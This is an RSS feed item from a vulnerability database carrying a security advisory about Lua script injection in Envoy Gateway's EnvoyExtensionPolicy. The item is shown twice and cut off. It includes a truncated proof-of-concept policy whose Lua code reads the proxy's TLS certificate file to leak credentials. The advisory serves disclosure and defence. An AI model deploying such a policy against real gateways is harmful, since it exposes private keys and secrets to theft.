<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 21:38:12 +0000</lastBuildDate>
    <item>
      <title>GHSA-xrwg-mqj6-6m22 — Envoy Extension Policy lua scripts injection causes arbitrary command execution</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-xrwg-mqj6-6m22</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/envoyproxy/gateway&lt;/p&gt;
&lt;p&gt;### Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:
* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.&lt;/p&gt;
&lt;p&gt;Lua scripts executed by Envoy proxy can be used to leak the proxy&amp;#39;s credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.&lt;/p&gt;
&lt;p&gt;For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy&amp;#39;s XDS client certificates.&lt;/p&gt;
&lt;p&gt;```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open(&amp;#34;/certs/tls.crt&amp;#34;, &amp;#34;r&amp;#34;)
             local content
             if cert then
                content = cert:read(&amp;#34;*all&amp;#34;)
                cert:close()
             else
                content =…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/envoyproxy/gateway&lt;/p&gt;
&lt;p&gt;### Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:
* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.&lt;/p&gt;
&lt;p&gt;Lua scripts executed by Envoy proxy can be used to leak the proxy&amp;#39;s credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.&lt;/p&gt;
&lt;p&gt;For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy&amp;#39;s XDS client certificates.&lt;/p&gt;
&lt;p&gt;```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open(&amp;#34;/certs/tls.crt&amp;#34;, &amp;#34;r&amp;#34;)
             local content
             if cert then
                content = cert:read(&amp;#34;*all&amp;#34;)
                cert:close()
             else
                content =…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-xrwg-mqj6-6m22</guid>
    </item>
  </channel>
</rss>
